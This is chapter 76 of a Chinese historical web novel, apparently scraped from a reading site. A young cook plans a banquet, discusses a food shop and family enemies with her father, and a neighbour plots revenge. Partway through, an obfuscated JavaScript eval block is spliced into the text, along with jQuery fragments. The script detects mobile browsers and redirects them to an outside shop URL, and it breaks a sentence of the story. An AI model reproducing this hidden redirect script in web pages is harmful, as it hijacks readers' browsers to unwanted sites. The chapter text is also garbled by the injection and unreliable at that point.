76. 暗流

作品:《小厨娘不想攻略大佬

    当日,童白在马车前见到崔老,得知他欲随行家访。她看了眼天色,婉言道:“崔老,此时家父未必在家。不若明日您来接我时再叙?”


    崔老从善如流,“那老身明日随接童小厨娘的马车一同前往,宴席定在十九爷的下个休沐日。届时应是能得到些新鲜的江鱼,童小娘子或可斟酌入馔。”每年的这个时节,都会打上一批江鲜。


    童白心头微动,面上却不显,只应道:“多谢崔老提点,我定用心斟酌。”心中已开始飞速盘算着。


    回到家中,她立刻找出黄纸和木炭笔,凝神静气,开始构思崔府宴席的菜单。


    江鱼鲜则鲜矣,可鱼脍是老派做法,清蒸又寡淡。不如试试用胡麻油煎至两面金黄,鱼身划刀填进荠菜碎+豆豉,再浇上蜜醋调的酱汁,外酥里嫩,咸甜带鲜,比单纯的煎鱼多了春日野菜的清冽,定能出彩。


    而且,为了维持人设,她这段时日做出的菜式,与土生土长的大唐菜可不一样,但并不像她认为的那般难登大雅之堂,不然,十九爷也不会因而要设这春日宴。


    而那些参宴的学子们,又为何而来呢?她需要保持既有的巧思风格,在时下一众私宴中做那独特的一只。


    这个念头盘旋在她脑中,直到院门外传来马车声与熟悉的交谈声,才将她从沉思中拉回。


    她起身迎出去,正见白氏开了院门,童寄提着竹篓与牵着马掉头的张勇站在门外。


    “阿姊!”二郎欢快地跑向灶屋,很快用托盘端着两碗清水出来,朝张勇道:“张军士,喝水!”等着张勇端起碗,又走到童寄身旁,“阿爹,喝水!”


    童寄笑着端碗,几口饮尽,摸了摸儿子的头,“我家二郎真棒!”


    张勇着急回去,也没在此多待,喝完水便离开了双梧巷。


    童家人合上院门,围着清点采买之物。菌菇、野菜、木柴……童白默默估算,这趟花费将近二两半,绝非小数目。她心念一动,转身回房取出装钱的荷包,对童爹和白氏低声道:“爹、娘,咱们去灶屋说话。”又朝二郎使了个眼色,示意他留意院门。


    灶屋内,童白将荷包放在桌上,姿态磊落:“阿爹,阿娘,家中现银共二十余两。其中有五两是预支的工钱。”


    白氏有些过意不去,当初交出家中银钱让童白当家,也是逼不得已的决定,现在看来,当初的决定很对,但哪能孩子爹一回来,就夺了这个当家权。


    只是,也不知道孩子他爹是怎么想的,她看向童寄。


    童寄深深看了女儿一眼,将银钱推回:“这钱,你留着。你为这个家做的,已远超这些银钱。往后,家中开支由爹负责。”


    童白并未接过荷包,她今日拿出荷包来,就是想趁机将后续家中情况安排明朗化。


    童寄见她没动作,眸光深邃几分,又缓缓问道:“阿白,后续你是想一直在崔家当值还是有别的打算?”


    童白杏眼微张,脑中犹豫,该不该说出心里话,瞧见对面之人真诚的面容,她道:“不瞒爹娘,我一直都想在西市开食铺。去崔家干活,只是一时的选择。也算是过渡。只是……”说到此,她停顿片刻,犹豫一瞬后继续道:“只是,不知开食铺会不会影响阿爹后续的仕途。”


    一般建朝前期,朝廷都会重农抑商,开食铺归为商,她有些犹豫不决。


    童寄眼中闪过赞赏,大手一挥,“无妨!只要不入商籍,便无事。”朝廷的官员要是只靠当官的饷银,在这长安城很难活的滋润。比起他们那些人名下的产业,自家只是开个小食铺,算不上什么。


    有了这句话,童白终于放下心来,前朝战乱那么多年,百姓也需要休养生息,想着曾经学过的唐朝有名的均田制,童白心里也有了别的打算,“赚来了银钱,我们也能多置地。土地和粮食是根本!我可怕前段时日那种饿肚子的感觉。”


    原主的记忆里,前朝战乱世时,一家子在崔府,吃食上并未克扣。而上一世她虽跟父母不亲,爷奶对她极好,从来没有饿过肚子。所以,前段时间饿肚子的体验,是原主的初体验,也是她两世为人第一次体会。


    “我听你娘说,你觉得用霉米换走家中粮食,以及坊间传闻都是有人刻意为之,且都是玉娘所图谋的?”童寄想着白氏跟自己说过的话语,问道。


    童白点头,“我觉得,做下此事的,应是我们家的仇人!我知道的也就是玉娘了,在延寿坊时,她没少欺负咱家。”


    童寄心下思索,仇人自然有,但有能力、且做到这般不死不休的,他盘遍过往人事,心中越发没底,沉声道:“只因跟童家有仇才会这般行事吗?”


    童白瞪着眼,一时不知如何回答:有仇才会害人吗?可无仇无怨,又图什么呢?


    脑中闪过一丝念头,她飞快抓住:“阿爹,还有利!只要利益够大,大善人或许都能成大恶人!”古话说,天下熙熙皆为利来,可不是白说的。


    “哦?你细说一下。”


    童白指尖点了点桌面,“既然阿爹想听听我的想法,那我就来浅说一下。”轻咳一声,“玉娘当初会跟阿娘结下怨愤,不就是因为她的手艺不如阿娘,老夫人点了阿娘绣衣裳而不是她,浅看或许只是女子间的嫉妒作祟,往深了看,她为何非要让老夫人喜欢她的刺绣手艺,她不是夫人带来的绣娘吗?”


    白氏闻言,原本茫然的神情也变得认真起来。


    她越说越清晰,语速微微加快:“有阿娘在绣房,她的手艺不被老夫人看重,除了赏钱外,她也没有什么缺失的,毕竟她是夫人带来的陪房,实际上,只待在夫人的院子里,也没人敢说她。”越分析,童白越上瘾,“在府上这么些年,文奶娘都没有为了玉娘来为难咱家,怎么在咱家脱籍出府后,文奶娘就盯上了咱家?”


    “只为帮玉娘?我不信。”


    童寄眼眸微眯,的确,他也觉得奇怪。没想到女儿的想法跟他一致,原本还想听女儿多分析几句的,视线在瞥见白氏紧蹙的细眉和瘦的凹陷的脸颊上停留。


    他决定结束这个话题。


    霜娘这段时间已经够苦了,没必要再继续让她心烦。


    “此事为父知晓,既然你现在已经大了,会想这些事情的内因,为父就想直接问你,所以你并未想要进十九爷的府上做妾?”


    童白是真的没有想到童爹会这样认为,她看向白氏,从她眼中不难看出,白氏也有此想法,童白猛摇头,摆手“我是真没有想过这些。”好嘛,她现在才脱离温饱挣扎,哪能想那么多。


    童寄见她这样,不似哄骗自己,“你这样想是对的,阿爹是不愿你在府上做妾的,妾也是奴。”


    话说到最后,声音都艰涩起来。


    童白没想到童爹的思想与时下人如此不同,“我以为你们会觉得给贵人做妾是荣耀。”


    白氏摇头,“怎么可能,我跟你爹都是被亲人卖入做奴,在那之前,阿娘也是亲白人家的闺女,你爹也是农户之子,要不是世道,我们也不会如此,只有吃过这个苦,你爹才会拼着命脱籍。”


    童寄见女儿今日的态度是愿意继续深聊下去,索性将自己和白氏为何被卖到崔家的事情都说了。


    “阿爹跟你说这些,并不是别的,只是让你知道,我们的亲人只有你们,那些卖了爹娘的人,都是仇人,不是亲人。”


    童白听出了什么,她看向童爹,“可是有何不妥?”


    “我怀疑,他们下一步,会从世人所认为的亲情这块下手。”见童白一脸茫然,童寄说的更明确一点:“你阿娘的亲爷奶,是在逃难途中卖了她,很难寻来。但阿爹的爹娘兄弟可都是县郊童家村的,若是他们从这块入手……”


    童白陡然睁大双眼,脑海中瞬间闪过无数宅斗小说里的桥段,被所谓“亲人”以孝道、宗族名义裹挟、剥削乃至毁灭的案例比比皆是。她感到一股寒意从脚底升起。


    不过,也没有多久时间,门外传来敲门声。


    “弟妹,是我,卢娘子。”


    童白和白氏对视一眼,白氏起身,抱着四郎往外走,“来了来了,卢娘子。”


    童寄跟童白说做出口型,意思晚点再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16893772|178855||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说,下颌点了点桌上的银钱,“你先收起来。”


    这个时候也不是推拒的时候,童白收起这些,一家人去了院子里,正好卢娘子被迎着进了院子。


    她胳膊上还挽着竹篮,“小娘子,我这次来,正好是来找你帮忙的。”


    童白顿住,还好银钱早已收入荷包放入袖袋,她上前几步,“卢婶子有什么需要我做的,直说便是。”


    白氏:“就是,她婶子,要不是你拉了我们一把,我们一家人怕是等不到他爹回来。”


    这话当着童寄的面说,便是让童寄认这份帮助,而这话说到了卢娘子的心坎上,她帮童家,便也是出于这心思。


    “咱两家都是邻居,弟妹可别再谢来谢去了。”卢娘子详嗔道,复又朝童白说:“就是我那娘家嫂子,想要从你这订一些黄金油渣蒸饼。”


    原来是这件事,童白也算是跟十九爷那过了明路,自然是没有什么不能答应的,问了清楚数量,这件事也算是确定了下来。卢娘子离去前,道:“那我明日将食材送过来。”


    童白点头,这件事就这么说定了。


    送走卢娘子,灶房内的密谈也无法继续。一家人简单用了晚膳,气氛却比往日沉默许多。童白借着油灯,将自己写好的蒸饼方子交给白氏,又将自己关在屋里,对着宴席菜单反复推敲,直到夜深。


    次日,崔老随马车而至,童家已备好简便的早膳,连车夫都有一份。这份周到,让崔老暗自点头。


    他取出孤本,郑重道:“童小娘子,这是十九爷特地为您寻来的。十九爷说,小娘子上次提的春蔬配酪乳的吃法,甚是新奇,这本《食经》里恰好有西域酪的调制之法,或能给小娘子添些灵感。”


    原本他对主子寻孤本的举动颇有微词,现如今,理解了几分。


    童寄对此接受良好。经过昨夜深谈,他已明了女儿志向。只觉崔十九爷真是慧眼识珠!


    童白接过那本沉甸甸的书,心中清楚,这既是赏识,也是一份无形的期许与羁绊。


    “定然不会辜负十九爷的用心,还请崔老帮我转达谢意。”她指尖拂过孤本略显粗糙的封面,明白崔十九爷此举所表达的用意,他看重的不只是她的厨艺,更是她这个人本身的潜力。


    崔老抚须,眼中闪过欣慰:“童小娘子放心,老朽定然带到。”


    童寄这个时候说话了,“崔老,不知上回来我家的盗匪,审讯可有结果?当时得来的消息,可否方便告知一二?”他身为一家之主,必须弄清楚潜在的威胁。


    崔老瞧了眼身旁的白氏和玩闹的孩子们,神色微凝。童寄立刻明白,这是有机密之事,不便让妇孺知晓。


    “此处说话不便,”童寄起身,“不若我们出去谈?”


    崔老却摆了摆手,提出了一个更稳妥的方案:“童校尉若不介意,不若随我一同回府?亲自审问的人也在,说起话来更为便宜,有些线索,也需校尉亲自辨认。”


    童寄略一沉吟,便果断答应:“好,那就叨扰了。”他转头对白氏交代,“我去去就回,你们关好门户。”


    就这样,童家父女随崔老登上马车,驶出了小巷。


    而对门陈家的窗后,一道窥视的缝隙随着马车的离去,缓缓合上。一道身影匆匆穿过院落,进了内室,对正在喝茶的陈大河低声道:“大河,童家那当家的,跟着崔府的马车走了,看方向,是往安仁坊去了。”


    陈大河猛地放下茶杯,瓷杯与桌面碰撞发出‘哐当’一声脆响,眼中尽是阴鸷与怨毒。他下意识揉了揉隐隐作痛的伤处,那痛感无时无刻不在提醒他县衙大牢里的屈辱,以及童家带来的伤痛。


    “攀上高枝儿了?哼!”他啐了一口,“我这就去给文奶娘递话……不,不止文奶娘!”他脸上露出一丝狠厉的算计,“还有管着西市摊贩的石大人,以及斜眼坊吏那儿,我都得去打点说道!”


    他仿佛已经看到童家被这些人陷害打压的景象,脸上露出一抹快意的狞笑。“我倒要看看,他童家究竟有多大能耐,能躲得过这明枪暗箭!”